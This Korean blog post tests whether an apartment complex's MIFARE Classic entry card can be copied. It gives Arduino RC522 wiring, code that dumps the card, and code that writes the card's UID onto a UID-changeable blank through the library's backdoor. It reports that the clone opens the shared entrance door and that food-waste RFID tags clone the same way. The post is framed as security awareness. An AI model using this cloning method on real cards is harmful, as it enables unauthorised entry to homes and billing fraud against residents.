YOGYUI

힐스테이트 광교산::공동출입문 출입카드(RF태그) 복사하기 (보안 문제) 본문

홈네트워크(IoT)/힐스테이트 광교산

힐스테이트 광교산::공동출입문 출입카드(RF태그) 복사하기 (보안 문제)

요겨 2022. 8. 16. 22:17
반응형

※ 홈네트워크, 홈IoT랑은 크게 상관없지만... 많은 사람들이 알았으면 하는 내용 ㅎㅎ


 

힐스테이트 광교산 아파트 입주할 때 위 사진과 같이 일반 신용카드 사이즈의 출입카드를 배부받았다 (2장 받았었나? 기억이 가물가물)

 

문득 예전에 마포구에 소재한 오피스텔에 거주할 때, RFID에 대한 내용을 공부하면서 출입카드가 복사된다는 충격적인(?) 사실을 알게 되었는데, 과연 메이저 건설사인 현대건설의 출입카드는 복사가 되는지 여부가 궁금해졌다

 

이삿짐 구석에 쳐박혀있던 공구함을 뒤적거려서 RC522 RF카드 리더기 모듈(RFID-RC522)을 찾아낸 뒤에 아두이노로 RF카드 Read/Write를 테스트해봤다

(이 모듈, 워낙에 유명해서 사용방법과 노하우가 넘쳐흐른다)

 

본 포스팅에서는 MIFARE ISO/IEC 14443와 관련한 기술적인 내용은 글이 너무 길어질 것 같아 다루지 않기로 한다 - 자세한 내용은 링크 참고 (MIFARE 태그 해킹에 관한 기술적 내용)

1. 아두이노 HW 세팅

공구함에서 손에 잡히는대로 아무거나 건져올려보니 Arduino Mega 2560이 잡혔다 (월척)

RFID-RC522과 아두이노간 통신은 SPI(Serial Peripheral Interface) 방식임을 참고해서 와이어로 잘 연결해주도록 한다

Arduino Mega 2560 Pin # RFID-RC522 Pin Label
9 RST
50 MISO
51 MOSI
52 SCK
53 SDA

2. 아두이노 라이브러리 설치

아두이노 개발툴을 열어서 [메뉴바] - [Tools] - [Manage Libraries] 열기

(단축키: Ctrl + Shift + I)

검색창에서 'MFRC522'을 검색한 후 MFRC522 라이브러리를 설치해준다

3. 출입카드 읽어보기

예제를 따라 간단한 테스트코드를 짜보자

만약 힐스테이트 출입카드의 내부 내용이 읽힌다면, 복사가 가능하다는 이야기! (카드가 구식 MIFARE RFID란 말)

#include <SPI.h>
#include <MFRC522.h>

#define RST_PIN 9
#define SS_PIN  53

MFRC522 mfrc522(SS_PIN, RST_PIN);  // Create MFRC522 instance

void setup() {
  // read card and print info (serial communication)
  Serial.begin(115200);
  // init SPI (Serial Peripheral Interface to communicate with RC522)
  SPI.begin();
  mfrc522.PCD_Init();
  delay(4);
  
  Serial.println(F("Ready to read card!"));
}

void loop() {
  if (!mfrc522.PICC_IsNewCardPresent()) {
    return;
  }

  if (!mfrc522.PICC_ReadCardSerial()) {
    return;
  }

  mfrc522.PICC_DumpToSerial(&(mfrc522.uid));
}

기대한 대로(???) 카드 내부 정보를 읽을 수 있다 

아두이노 MFRC522 라이브러리의 PICC_DumpToSerial 함수를 통해 RF태그 내부 정보를 다음과 같은 형태로 확인할 수 있다

이러면 뭐... 그냥 손쉽게 카드 복사가 가능하단 소리다 ㅋㅋ


Card UID: XX XX XX XX
Card SAK: 08
PICC type: MIFARE 1KB
Sector Block   0  1  2  3   4  5  6  7   8  9 10 11  12 13 14 15  AccessBits
  15   63   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         62   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         61   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         60   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
  14   59   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         58   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         57   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         56   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
  13   55   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         54   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         53   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         52   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
  12   51   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         50   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         49   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         48   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
  11   47   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         46   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         45   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         44   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
  10   43   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         42   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         41   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         40   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   9    39   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         38   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         37   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         36   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   8    35   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         34   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         33   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         32   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   7    31   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         30   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         29   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         28   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   6    27   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         26   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         25   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         24   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   5    23   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         22   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         21   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         20   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   4    19   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         18   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         17   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         16   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   3    15   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         14   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         13   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
         12   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   2    11   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
         10   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
          9   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
          8   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   1     7   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
          6   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
          5   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
          4   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
   0     3   00 00 00 00  00 00 FF 07  80 69 FF FF  FF FF FF FF  [ 0 0 1 ] 
          2   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
          1   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  [ 0 0 0 ] 
          0   XX XX XX XX  XX XX XX XX  XX XX XX XX XX XX XX XX  [ 0 0 0 ] 


카드 종류는 MIFARE Classic 1K로, 이름에서도 알 수 있듯이 굉장히 역사가 오래된 (1990년대 등장, 초기에 대중교통카드로 사용됨) RFID이며, 내부에 1KB의 정보를 담을 수 있다

MIFARE에 대한 간략한 설명
NXP Semiconductor에서 개발한 비접촉식 스마트 태그를 위한 IC 및 RF 통신 시스템 (Mikron Fare Collecting System)
13.56MHz RF 대역 비접촉식 스마트카드 국제 표준 (ISO/IEC 14443) 독점 특허
RFID별로 4바이트 혹은 7바이트의 고유 아이디가 있으며, 4바이트 모델의 경우 예약/사용금지된 값을 제외하면 약 37억개의 고유한 아이디를 가진 서로 구별되는 태그를 만들어낼 수 있다

카드별로 4바이트로 구성된 고유 아이디(Unique ID, UID)가 있으며 내부에 제한된 용량의 정보를 저장할 수 있다

한 블록(block)이 16바이트로 구성되어 있고, 한 섹터(sector)는 4개의 블록으로 구성되어 있으며, MIFARE 1K는 총 16개의 섹터로 구성되어 있다 (16 x 4 x 16 = 1024바이트 = 1킬로바이트)

또한 섹터별로 3바이트의 Sector Trailer가 있으며, 섹터에 접근하기 위한 보안 정보로 구성되어 있다

※ 첫번째 블록(block 0)의 최초 4바이트가 태그의 UID

내 경험상 일반 출입용 태그는 블록 0의 값만 유의미하며 나머지 블록들은 모두 일종의 쓰레기값이 들어있었는데, 힐스테이트 출입카드도 마찬가지인 걸로 보인다

 

카드 복사 테스트를 위해 덤프 정보를 메모장에 복붙해뒀다 (블록 0의 16바이트만 저장해두면 된다)

 

4. 카드 ID 복사하기

원래 MIFARE 카드의 블록 0는 태그 제작사가 쓰기 명령에 대한 접근을 차단하는 것이 원칙이다

(섹터 0로 authentication은 되나, 블록 0 쓰기 명령에 대해서는 NACK 응답)

 

하지만 <모종의 이유로> '블록 0에 쓰기가 가능한 RFID'가 시중에 유통되고 있으며, 해외직구 사이트에서 장당 수백원 수준에 구매할 수 있다 (UID Changable RF 키워드로 검색하면 수백건의 결과가 나온다)

블록 0마저 복사할 수 있다면 태그의 완전 복제가 가능하다는 말!

 

예전에 공부하다 남은 태그도 찾아보니 있어서 그대로 활용해보기로 했다

블록 0 쓰기 가능한 카드에 접근하기 위해서는 카드의 백도어를 뚫어야 한다

과정이 약간 복잡하긴 한데, MFRC522 라이브러리에 MIFARE_SetUid라는 함수로 구현되어 있어 코드 할줄로 해결 가능하다 (함수원형은 깃허브 저장소 참고)

 

다음과 같이 간단하게 태그 블록 0의 UID를 바꿀 수 있다

블록 0에는 16바이트의 데이터가 들어있지만, 출입문에서 확인할 때는 4바이트 UID만 체크하기 때문에 코드에서처럼 4바이트만 바꿔주면 된다 
#include <SPI.h>
#include <MFRC522.h>

#define RST_PIN 9
#define SS_PIN  53

MFRC522 mfrc522(SS_PIN, RST_PIN);  // Create MFRC522 instance

void setup() {
  // read card and print info (serial communication)
  Serial.begin(115200);
  // init SPI (Serial Peripheral Interface to communicate with RC522)
  SPI.begin();
  mfrc522.PCD_Init();
  delay(4);
  Serial.println(F("Ready to write card!"));
}

void loop() {
  if (!mfrc522.PICC_IsNewCardPresent())
    return;
  Serial.println("Found Card");
  if (!mfrc522.PICC_ReadCardSerial())
    return;
  Serial.println("Read Card Done");

  byte newUid[] = {0xZZ, 0xZZ, 0xZZ, 0xZZ}; // 힐스테이트 출입카드의 UID 4바이트
  if ( mfrc522.MIFARE_SetUid(newUid, (byte)4, true) ) {
    Serial.println(F("Wrote new UID to card."));
  }
  
  mfrc522.PICC_HaltA();
  delay(2000);
}

정상적으로 UID 해킹에 성공하면

Ready to write card!
Found Card
Read Card Done
Wrote new UID to card.

와 같이 시리얼 로그가 뜨고, 블록 0 쓰기가 막혀있는 태그라면

Found Card
Read Card Done
Card did not respond to 0x40 after HALT command. Are you sure it is a UID changeable one?
Error name: Timeout in communication.
Activating the UID backdoor failed.

와 같이 백도어 뚫기에 실패했다는 메시지를 볼 수 있다

 

5. 출입 테스트

이제 복사한 카드로 공동출입문을 열어보자

굉장히 잘 열린다... ㅋㅋㅋ

보안이 이게 모냐고~~~

6. 마무리

아파트/오피스텔 공동출입문이야 요즘은 택배기사, 배달기사 뿐만 아니라 세탁물, 생활쓰레기 수거 등 집사형 스타트업 서비스 기사들도 워낙 자주 드나들기 때문에 보안에 대한 관심이 크게 생기지 않는 것도 사실이다

(어떨 땐 출입문이 하루종일 활짝 열려있을 때도 있더라..)

무인형 택배보관소는 유명무실하고, 전담 택배기사들은 관리사무소에서 출입 태그를 따로 받아두기도 하는게 우리네 실정 ㅎㅎ.. (음식은 현관문앞에서 받아야 제맛이지!)

 

아무리 그렇다해도 브랜드 아파트라면 최소한의 보안 체계는 갖추는게 좋지 않았을까...라는 생각이 든다

어차피 이미 설치된 출입문 리더기나 배포된 카드 교체 비용을 생각하면 입주민 관리비만 비싸질 것 같아 별다른 문제제기는 하지 않을 생각 (나조차도 공동출입문에 대한 보안 걱정은 크게 하지 않는지라 ㅎㅎ)

지금 열심히 짓고 있는 다른 아파트들은 RF카드 업그레이드 좀 했으면 하는 바람이다

(우리 아파트만 후진거 쓰는건...아니겠지?)

 

참고로~

음식물 쓰레기 버리는데 쓰는 RFID도 완전 동일한 방식으로 복제 가능하다 ㅋㅋㅋ

어쩌면 이게 입주민에게는 금전적인 피해가 직접적으로 가해질지도 모르겠다

 

어쨌든!

이미 설치된걸 바꾸려면 비용이 어마어마하게 드니깐, RF카드를 분실했을 경우 관리사무소에 즉시 신고해서 해당 카드의 ID를 무효화시켜줘야만 한다!!

 

이걸 굳이 홈IoT랑 접목시키자면, 스마트폰에서 13.56MHz 대역폭의 RF 신호를 발생시켜서 RF 태그 없이 스마트폰만으로 공동출입문이나 음식물 쓰레기 처리장에서 활용할 수 있게 만드는 방법일텐데.. 

애플 아이폰은 아예 무슨 수를 쓰던지 에뮬레이팅이 불가능하고 (개발자 포함), 안드로이드는 루팅을 해야만 RF 신호 에뮬레이팅이 가능하다고 하니.. 들이는 노력에 비해 얻는 성과가 미미할 것 같아 일단 PASS~

나중에 휴대용 RFID 에뮬레이터 뚝딱 만들어서 만능 출입기를 하나 만들어보는 정도로 마무리해야 할 것 같다 ㅋㅋ

끝~!

반응형